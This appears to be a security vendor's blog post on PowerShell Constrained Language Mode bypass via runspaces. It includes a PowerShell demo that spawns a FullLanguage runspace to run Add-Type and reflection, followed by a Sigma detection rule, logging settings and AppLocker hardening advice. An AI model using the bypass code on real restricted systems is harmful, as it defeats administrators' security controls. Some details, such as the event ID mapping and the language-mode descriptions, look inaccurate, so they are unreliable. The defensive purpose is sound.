Microsoft Tools & Hacks

Unmasking Covert Threats: Detecting & Blocking PowerShell CLM Bypass via Runspaces

The Double-Edged Sword: PowerShell's Power and Peril

PowerShell, Microsoft's robust object-oriented scripting language and command-line shell, is an indispensable tool for system administrators. Its unparalleled capabilities for automating tasks, managing configurations, and interacting with the Windows operating system make it a cornerstone of modern IT environments. However, this immense power is precisely what makes PowerShell a coveted weapon in the arsenal of advanced persistent threat (APT) groups, ransomware operators, and commodity malware.

Attackers frequently leverage PowerShell for various stages of an attack lifecycle, including execution (T1059.001), privilege escalation, lateral movement, reconnaissance, and persistence. Its native integration with Windows, ability to operate in memory, and the difficulty of traditional signature-based detection make it a formidable adversary in the hands of malicious actors. Understanding how attackers subvert PowerShell's security mechanisms is paramount for robust cyber defense.

Understanding Constrained Language Mode (CLM) in PowerShell

To mitigate the risks associated with PowerShell's capabilities, Microsoft introduced Constrained Language Mode (CLM) as part of Windows PowerShell 5.0 and later versions. CLM is a security feature designed to restrict the functionality available to PowerShell scripts and commands, significantly reducing the attack surface.

When PowerShell operates in CLM, several powerful features are disabled or restricted: * Access to sensitive types: Only a limited set of [System] types and other core types are accessible. Direct access to [System.Reflection], [System.Management.Automation.PowerShell], [System.Runtime.InteropServices] and many other .NET classes is blocked. * Cmdlet restrictions: While core cmdlets like Get-Item or Set-Item might still work, cmdlets that allow arbitrary code execution or direct system interaction are limited. * Script block restrictions: Script blocks are analyzed for restricted content. * External assembly loading: The ability to load arbitrary .NET assemblies (Add-Type) from disk or memory is severely curtailed. * COM object access: Access to Component Object Model (COM) objects, often used for interacting with applications like Word or Excel, is restricted.

CLM is typically enforced through mechanisms like AppLocker (specifically, the Allow rule for PowerShell scripts with AppLockerPolicy set to ConstrainedLanguage), Group Policy Objects, or when running scripts signed by an untrusted publisher. The intent is to allow necessary administrative tasks while preventing the execution of malicious, unrestricted code.

You can check the current language mode of a PowerShell session using $ExecutionContext.SessionState.LanguageMode. * FullLanguage: Standard, unrestricted PowerShell. * ConstrainedLanguage: Restricted mode. * RestrictedLanguage: Even more restricted, for environments like Server Core. * NoLanguage: No script execution allowed, only cmdlets.

While CLM is a vital security control, it's not a silver bullet. Attackers have developed sophisticated techniques to bypass CLM, often exploiting the very nature of how PowerShell integrates with the .NET Framework and the Windows operating system.

The Runspace Bypass: A Stealthy Method to Evade CLM

One of the most potent and frequently abused CLM bypass techniques involves the misuse of PowerShell runspaces. A runspace is an execution environment where PowerShell commands and scripts run. It holds the session state, including variables, functions, and language mode.

The critical insight for attackers is that while the current PowerShell host process might be operating in ConstrainedLanguage mode, it is often still possible to create new PowerShell runspaces programmatically that are initialized in FullLanguage mode. This is because the underlying .NET Framework, which PowerShell itself is built upon, often operates outside the direct constraints of CLM imposed on the PowerShell scripting engine.

How Runspaces Work and How They're Abused

Attackers leverage the System.Management.Automation.PowerShell class (part of the System.Management.Automation assembly) to instantiate new PowerShell engines within the existing process. By carefully constructing an InitialSessionState object, they can specify the language mode for this new, nested runspace. If the parent process has sufficient permissions to create .NET objects and isn't blocked by other more stringent controls (like AppLocker preventing the loading of the System.Management.Automation assembly entirely), it can often create a new full-language runspace.

Here's a simplified breakdown of the attack chain: 1. Initial Compromise: The attacker gains initial access, perhaps through a phishing email (where email security solutions like Postigo could have provided a crucial first line of defense) or an exploit, leading to the execution of a constrained PowerShell script. 2. CLM Check: The attacker's script might first check the current language mode. 3. Runspace Creation: If in CLM, the script attempts to create a new System.Management.Automation.PowerShell object. 4. SessionState Manipulation: It constructs an InitialSessionState object, explicitly setting its LanguageMode property to FullLanguage. 5. Command Execution: The attacker then uses the AddCommand, AddScript, or Invoke methods of the newly created PowerShell object to execute arbitrary commands or scripts in the full-language context, effectively bypassing CLM.

Code Example: Illustrating the CLM Bypass via Runspaces

Let's walk through a conceptual example to understand the mechanics.

First, let's simulate a constrained environment and attempt a restricted action:

# Simulate Constrained Language Mode (for demonstration)
# In a real scenario, this would be set by AppLocker/GPO.
$ExecutionContext.SessionState.LanguageMode = [System.Management.Automation.PSLanguageMode]::ConstrainedLanguage

Write-Host "Current Language Mode: $($ExecutionContext.SessionState.LanguageMode)"

# Attempt to load a sensitive .NET type, which should fail in CLM
Try {
    [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null
    Write-Host "Successfully loaded System.Windows.Forms (this should not happen in CLM)."
} Catch {
    Write-Host "Error attempting to load System.Windows.Forms in CLM: $($_.Exception.Message)"
}

# Attempt to use Add-Type, also restricted
Try {
    Add-Type -TypeName "MyClass" -MemberDefinition 'public static string GetHello() { return "Hello"; }'
    Write-Host "Successfully used Add-Type (this should not happen in CLM)."
} Catch {
    Write-Host "Error attempting to use Add-Type in CLM: $($_.Exception.Message)"
}

When you run the above in a fresh PowerShell session, you'll see errors indicating the restrictions.

Now, let's demonstrate the runspace bypass:

# Assume we are still in Constrained Language Mode from previous steps or external enforcement
Write-Host "Current Language Mode (before bypass attempt): $($ExecutionContext.SessionState.LanguageMode)"

Try {
    # 1. Create a new InitialSessionState object
    $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()

    # 2. Crucially, set the LanguageMode to FullLanguage
    $sessionState.LanguageMode = [System.Management.Automation.PSLanguageMode]::FullLanguage

    # 3. Create a new PowerShell runspace with the full language session state
    $ps = [System.Management.Automation.PowerShell]::Create($sessionState)

    Write-Host "Successfully created a new PowerShell runspace in FullLanguage mode."

    # 4. Add a command to execute within the new runspace
    # This command would be restricted in the parent CLM session
    $ps.AddScript({
        Write-Host "Inside the new runspace. Current Language Mode: $($ExecutionContext.SessionState.LanguageMode)"

        # Now, try to execute a restricted command
        Try {
            [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null
            Write-Host "Successfully loaded System.Windows.Forms inside the full-language runspace."
        } Catch {
            Write-Host "Error loading System.Windows.Forms inside runspace: $($_.Exception.Message)"
        }

        Try {
            Add-Type -TypeName "MyClass" -MemberDefinition 'public static string GetHello() { return "Hello from runspace"; }'
            Write-Host "Successfully used Add-Type inside the full-language runspace."
            [MyClass]::GetHello()
        } Catch {
            Write-Host "Error using Add-Type inside runspace: $($_.Exception.Message)"
        }
    }) | Out-Null

    # 5. Invoke the script in the new runspace
    $output = $ps.Invoke()
    Write-Host "Output from runspace: "
    $output

    $ps.Dispose()

} Catch {
    Write-Host "An error occurred during the runspace bypass attempt: $($_.Exception.Message)"
}

Write-Host "Current Language Mode (after bypass attempt): $($ExecutionContext.SessionState.LanguageMode)"

When you run this full example, even if the parent session is in ConstrainedLanguage mode, the code inside the newly created runspace will execute in FullLanguage mode, allowing actions like Add-Type or [System.Reflection.Assembly]::LoadWithPartialName to succeed. This fundamental vulnerability allows attackers to escape CLM and execute arbitrary code.

Other CLM Bypass Techniques (Briefly)

While runspaces are a common and powerful method, attackers also employ other techniques: * Direct .NET Reflection: Using existing accessible .NET methods to invoke restricted ones. * COM Objects: Interacting with COM objects that expose powerful functionalities (e.g., Excel.Application for executing macros or Shell.Application for system commands). * DLL Injection/Loading: Loading arbitrary malicious DLLs through legitimate processes if not prevented by other controls. * Legacy PowerShell Versions: If PowerShell 2.0 is still enabled (which it shouldn't be), it lacks many modern security features, including CLM.

Understanding your external attack surface, for instance, through platforms like Zondex, is crucial for preventing the initial compromise that often precedes sophisticated PowerShell execution and CLM bypass attempts.

Detecting CLM Bypass via Runspaces

Detecting these advanced PowerShell techniques requires a multi-layered approach focusing on enhanced logging, behavioral analysis, and robust endpoint protection.

1. Enhanced PowerShell Logging

This is the cornerstone of PowerShell security monitoring. Without adequate logging, detecting sophisticated attacks like runspace bypasses is virtually impossible.

  • Module Logging (Event ID 4103): Records pipeline execution details, including cmdlets, functions, and scripts as they are executed.
  • Script Block Logging (Event ID 4104): Records the content of script blocks before they are executed. This is critical as it captures the actual code being run, even if it's obfuscated or run in memory. It's particularly useful for detecting the instantiation of System.Management.Automation.PowerShell and the setting of InitialSessionState.LanguageMode.
  • Transcription (Event ID 4105): Records all input and output from PowerShell sessions, akin to a full transcript.

Configuration: These logging features can be enabled via Group Policy Objects (GPO) at Computer Configuration\Administrative Templates\Windows Components\Windows PowerShell: * Turn on Module Logging * Turn on PowerShell Script Block Logging * Turn on PowerShell Transcription

Ensure logs are forwarded to a centralized Security Information and Event Management (SIEM) system for analysis.

2. Behavioral Analysis and Event Correlation

Attackers employing runspace bypasses will leave specific footprints in the logs. Look for:

  • Creation of System.Management.Automation.PowerShell objects: This class is central to creating new runspaces. Its instantiation within a script block (Event ID 4104) is highly suspicious, especially if the current session is in CLM.
  • Setting LanguageMode in InitialSessionState: Look for patterns where InitialSessionState objects are created, and their LanguageMode property is explicitly set, particularly to FullLanguage.
  • Unusual Process Activity: PowerShell might spawn new powershell.exe processes with unusual command-line arguments, or it might interact with other processes in suspicious ways (e.g., injecting code or reading sensitive memory).
  • Direct .NET Assembly Loading: Even within the bypassed runspace, the act of loading assemblies like System.Reflection or System.Runtime.InteropServices is a strong indicator of malicious intent.

3. Detection Rules (Sigma, EDR)

Security teams can leverage detection rules to identify these patterns.

Sigma Rule Example for Runspace Bypass

A Sigma rule can be written to detect the creation of System.Management.Automation.PowerShell objects within script block logs.

title: PowerShell Runspace CLM Bypass Attempt
id: 5a8e4f1a-b6d3-4f9e-a8c4-c1d0a5b2e0e5
status: experimental
description: Detects the creation of new PowerShell runspaces with a potentially full language mode,
             which can be used to bypass Constrained Language Mode (CLM).
             Looks for the instantiation of System.Management.Automation.PowerShell class.
references:
    - https://safe-cyberdefense.com/blog/powershell-security-clm-bypass-runspaces
    - https://attack.mitre.org/techniques/T1059/001/
logsource:
    product: windows
    service: powershell
detection:
    selection:
        EventID: 4104 # PowerShell Script Block Log
        ScriptBlockText|contains:
            - '[System.Management.Automation.PowerShell]::Create'
            - 'new-object System.Management.Automation.PowerShell'
            - '[System.Management.Automation.Runspaces.InitialSessionState]::Create'
            - 'LanguageMode = [System.Management.Automation.PSLanguageMode]::FullLanguage'
    condition: selection
level: high
tags:
    - attack.execution
    - attack.t1059.001
falsepositives:
    - Legitimate administrative scripts that manage PowerShell sessions programmatically (rare in CLM-enforced environments).

This Sigma rule, when converted to your SIEM's native query language (Splunk, Elastic, QRadar), will alert on the presence of these suspicious strings in PowerShell script block logs. Note that legitimate administrative tools might occasionally use these, so careful tuning and baselining are necessary.

EDR (Endpoint Detection and Response) Solutions

Modern EDR solutions are invaluable for detecting such nuanced attacks. They go beyond simple signature matching by: * Process Monitoring: Detecting powershell.exe processes making suspicious API calls, attempting to load specific .NET assemblies, or engaging in inter-process communication that suggests code injection. * Behavioral Anomaly Detection: Flagging unusual script execution patterns, such as scripts attempting to change their own language mode or those making network connections to unknown or suspicious IP addresses (often command-and-control servers). Attackers frequently use anonymization services, such as those provided by GProxy, to obscure their command-and-control (C2) infrastructure, making detection and attribution more challenging. * Memory Scanning: Identifying reflective loading of .NET assemblies or shellcode within PowerShell process memory that would otherwise go undetected on disk. * Threat Intelligence Integration: Correlating observed behaviors with known APT tactics, techniques, and procedures (TTPs).

4. Threat Hunting

Proactive threat hunting is essential. Even with robust EDR and SIEM, skilled analysts can uncover stealthy attacks. * Search for System.Management.Automation.PowerShell in all PowerShell logs: Look for usage by non-administrative users or from unusual contexts. * Identify Add-Type or [Reflection.Assembly] calls: While these might be legitimate, their presence in scripts that otherwise bypass CLM is a strong indicator. * Investigate PowerShell scripts executed from temporary directories or untrusted sources: Malware often drops and executes scripts from C:\Windows\Temp or user profile temporary folders. * Examine network connections made by powershell.exe: Are they going to expected internal resources or external, unknown IPs?

Blocking and Preventing CLM Bypass Attacks

While detection is crucial, prevention is always superior. A multi-faceted defense strategy is required to effectively block CLM bypasses.

1. Application Whitelisting (AppLocker/WDAC)

This is arguably the most effective control. Instead of trying to detect malicious PowerShell within an allowed context, AppLocker or Windows Defender Application Control (WDAC) can prevent PowerShell scripts from running at all, or severely restrict what they can do.

  • Block powershell.exe from executing in user-writable directories: Restrict execution of PowerShell scripts (.ps1) and the powershell.exe executable itself from locations like C:\Users\*\AppData\Local\Temp or C:\Users\*\Downloads.
  • Restrict System.Management.Automation.dll: If possible, create a rule that prevents unsigned or untrusted code from loading this critical DLL, which is necessary for creating new runspaces. This is an advanced technique and requires careful testing to avoid breaking legitimate applications.
  • Enforce ConstrainedLanguage Mode: Use AppLocker rules to enforce CLM for all PowerShell scripts, even if attackers try to bypass it, this raises the bar significantly.
    • Example AppLocker rule (GPO Path: Computer Configuration\Windows Settings\Security Settings\Application Control Policies\AppLocker):
      • Right-click PowerShell Script Rules, Create New Rule.
      • Choose Use a reference file for an example .ps1 or specify publisher/path.
      • Crucially, in the Exceptions tab or Advanced options, ensure AppLockerPolicy is set to ConstrainedLanguage. This makes AppLocker also enforce CLM, not just allow/deny the script.

2. Disable Legacy PowerShell Versions

PowerShell 2.0 lacks modern security features like AMSI (Antimalware Scan Interface) integration and many logging enhancements. Ensure it is uninstalled on all systems. This can be done via Remove-WindowsFeature -Name PowerShell-V2 or through Turn Windows features on or off.

3. Implement PowerShell Security Features via GPO

Beyond logging, GPOs can enforce other security policies: * Script Execution Policy: While easily bypassed, setting it to AllSigned or RemoteSigned adds an initial hurdle for attackers by making unsigned scripts harder to run without user interaction. * Enable AMSI: AMSI provides an interface for antimalware products to scan content loaded into memory, including obfuscated PowerShell scripts. Ensure your EDR solution fully integrates with AMSI.

4. Endpoint Detection and Response (EDR)

A robust EDR solution provides real-time monitoring, behavioral analysis, and automated response capabilities. * Block known malicious PowerShell scripts: Leverage threat intelligence to stop known malicious scripts. * Detect and block suspicious behaviors: Identify process injection, unusual network connections, or attempts to modify critical system settings. * Integrate with AMSI: EDRs that integrate deeply with AMSI can detect and block malicious scripts even before they execute in memory. SAFE Cyberdefense’s endpoint protection platform is designed to provide this level of comprehensive threat detection and incident response, leveraging behavioral analytics and real-time threat intelligence to protect against sophisticated attacks like CLM bypasses.

5. Least Privilege and JIT Administration

  • Principle of Least Privilege: Users and services should only have the minimum necessary permissions to perform their tasks. This limits the impact of a successful PowerShell compromise.
  • Just-in-Time (JIT) Administration: Implement solutions that grant administrative privileges only when needed, for a limited duration, and with full auditing. This prevents attackers from easily inheriting powerful privileges through a compromised user account.

6. Network Segmentation and Firewall Rules

Limit outbound connections from endpoints to only necessary destinations. This makes it harder for malicious PowerShell scripts to establish command-and-control (C2) communication or exfiltrate data. Implement egress filtering to block connections to known malicious IPs or unusual ports.

Real-World Impact and MITRE ATT&CK Mapping

The ability to bypass PowerShell's security controls like CLM is a favorite tactic of advanced adversaries.

  • APT Groups: Groups like APT29 (Cozy Bear), APT34 (OilRig), and FIN7 have been observed extensively using PowerShell for various post-exploitation activities. They leverage in-memory PowerShell execution, often delivered via phishing emails or exploited vulnerabilities, to maintain persistence, conduct reconnaissance, and deploy further tools. A CLM bypass would allow them to run their full suite of tools even on hardened systems.
  • Ransomware and Malware: Malware families like Emotet, TrickBot, and Cobalt Strike often drop and execute highly obfuscated PowerShell scripts. These scripts are frequently designed to achieve persistence, download additional payloads, or perform lateral movement. The CLM bypass ensures their malicious functionality is unimpeded. For example, Cobalt Strike's Beacon payload can run PowerShell commands, and if operating in a constrained environment, it would naturally try to elevate its capabilities using such bypasses.

MITRE ATT&CK Techniques

This topic directly relates to several MITRE ATT&CK techniques:

  • T1059.001 - Command and Scripting Interpreter: PowerShell: This is the primary technique. The entire discussion revolves around the malicious use of PowerShell.
  • T1059.006 - Command and Scripting Interpreter: Python: While the focus is PowerShell, the concept of using scripting languages for execution is broader.
  • T1027 - Obfuscated Files or Information: Attackers often obfuscate their PowerShell scripts to evade detection and hide the CLM bypass logic.
  • T1027.004 - Obfuscated Files or Information: Compile After Delivery: The use of Add-Type or loading .NET assemblies reflectively often falls under this, as the malicious code is compiled or loaded in memory.
  • T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control: While not directly CLM, PowerShell is frequently used in conjunction with UAC bypass techniques to gain higher privileges before or during CLM bypass attempts.
  • T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking: Sometimes, attackers might use PowerShell to load malicious DLLs by exploiting search order or other sideloading vulnerabilities.
  • T1082 - System Information Discovery: After bypassing CLM, attackers use full-language PowerShell to gather extensive system information.
  • T1071.001 - Application Layer Protocol: Web Protocols: Often, the C2 communication facilitated by the full-language PowerShell script uses HTTP/S.

Regular vulnerability scanning and security audits, perhaps using platforms like Secably, can help identify misconfigurations that might weaken these controls or reveal older PowerShell versions that need remediation.

Key Takeaways and Actionable Recommendations

Protecting against sophisticated PowerShell security threats like CLM bypasses requires a proactive and layered cyber defense strategy. Here are the key actionable recommendations for cybersecurity professionals, SOC analysts, penetration testers, and IT security administrators:

  1. Enable Comprehensive PowerShell Logging:
    • Action: Immediately enable PowerShell Module Logging (Event ID 4103), Script Block Logging (Event ID 4104), and Transcription Logging (Event ID 4105) via Group Policy Objects (GPO) across all endpoints.
    • Rationale: These logs provide the forensic detail necessary to understand what happened during an attack, including the actual malicious code executed, even when obfuscated or run in memory.
  2. Centralize and Analyze PowerShell Logs:
    • Action: Ensure all PowerShell logs are forwarded to a SIEM or log aggregation system for real-time analysis, correlation, and long-term storage.
    • Rationale: Centralized logging enables detection of suspicious patterns across multiple systems and provides a single pane of glass for incident response.
  3. Implement Robust Application Whitelisting (AppLocker/WDAC):
    • Action: Deploy AppLocker or Windows Defender Application Control (WDAC) to prevent unsigned PowerShell scripts from executing, particularly from user-writable directories (e.g., C:\Users\*\AppData\Local\Temp, C:\ProgramData).
    • Action: Configure AppLocker/WDAC rules to explicitly enforce ConstrainedLanguage mode for PowerShell scripts. While bypassable, it significantly raises the bar.
    • Rationale: Application whitelisting is the most effective control for preventing unauthorized code execution, including malicious PowerShell scripts attempting CLM bypasses.
  4. Leverage Advanced EDR Solutions:
    • Action: Implement and properly configure an Endpoint Detection and Response (EDR) solution that integrates deeply with AMSI and provides robust behavioral analytics.
    • Rationale: EDRs can detect and block suspicious PowerShell behavior in real-time, identify in-memory attacks, and provide automated response capabilities, significantly enhancing your threat detection and incident response capabilities.
  5. Disable Legacy PowerShell Versions:
    • Action: Ensure PowerShell 2.0 is completely removed from all systems, as it lacks critical security features present in newer versions.
    • Rationale: Older versions of PowerShell are significant security liabilities.
  6. Enforce the Principle of Least Privilege:
    • Action: Strictly limit user and service account permissions to only what is absolutely necessary. Implement Just-in-Time (JIT) administration for privileged accounts.
    • Rationale: Reducing privileges limits the impact and scope of damage if an attacker successfully compromises an account and executes malicious PowerShell.
  7. Conduct Regular Threat Hunting:
    • Action: Proactively search your PowerShell logs and EDR telemetry for indicators of CLM bypasses, such as the creation of System.Management.Automation.PowerShell objects, Add-Type usage, or suspicious LanguageMode changes.
    • Rationale: Threat hunting helps uncover stealthy attacks that might evade automated detections and allows for continuous improvement of detection rules.
  8. Educate and Train Staff:
    • Action: Provide ongoing cybersecurity awareness training for all users, especially focusing on phishing and social engineering tactics that are often the initial entry point for these attacks.
    • Rationale: Human vigilance remains a critical defense layer, and educated users are less likely to fall victim to initial compromise vectors.

By implementing these recommendations, organizations can significantly bolster their cyber defense posture against sophisticated PowerShell-based threats, ensuring their endpoints remain secure and resilient. SAFE Cyberdefense specializes in providing these advanced endpoint protection strategies, threat analysis, and malware research capabilities to help organizations navigate the complex landscape of modern cyber threats.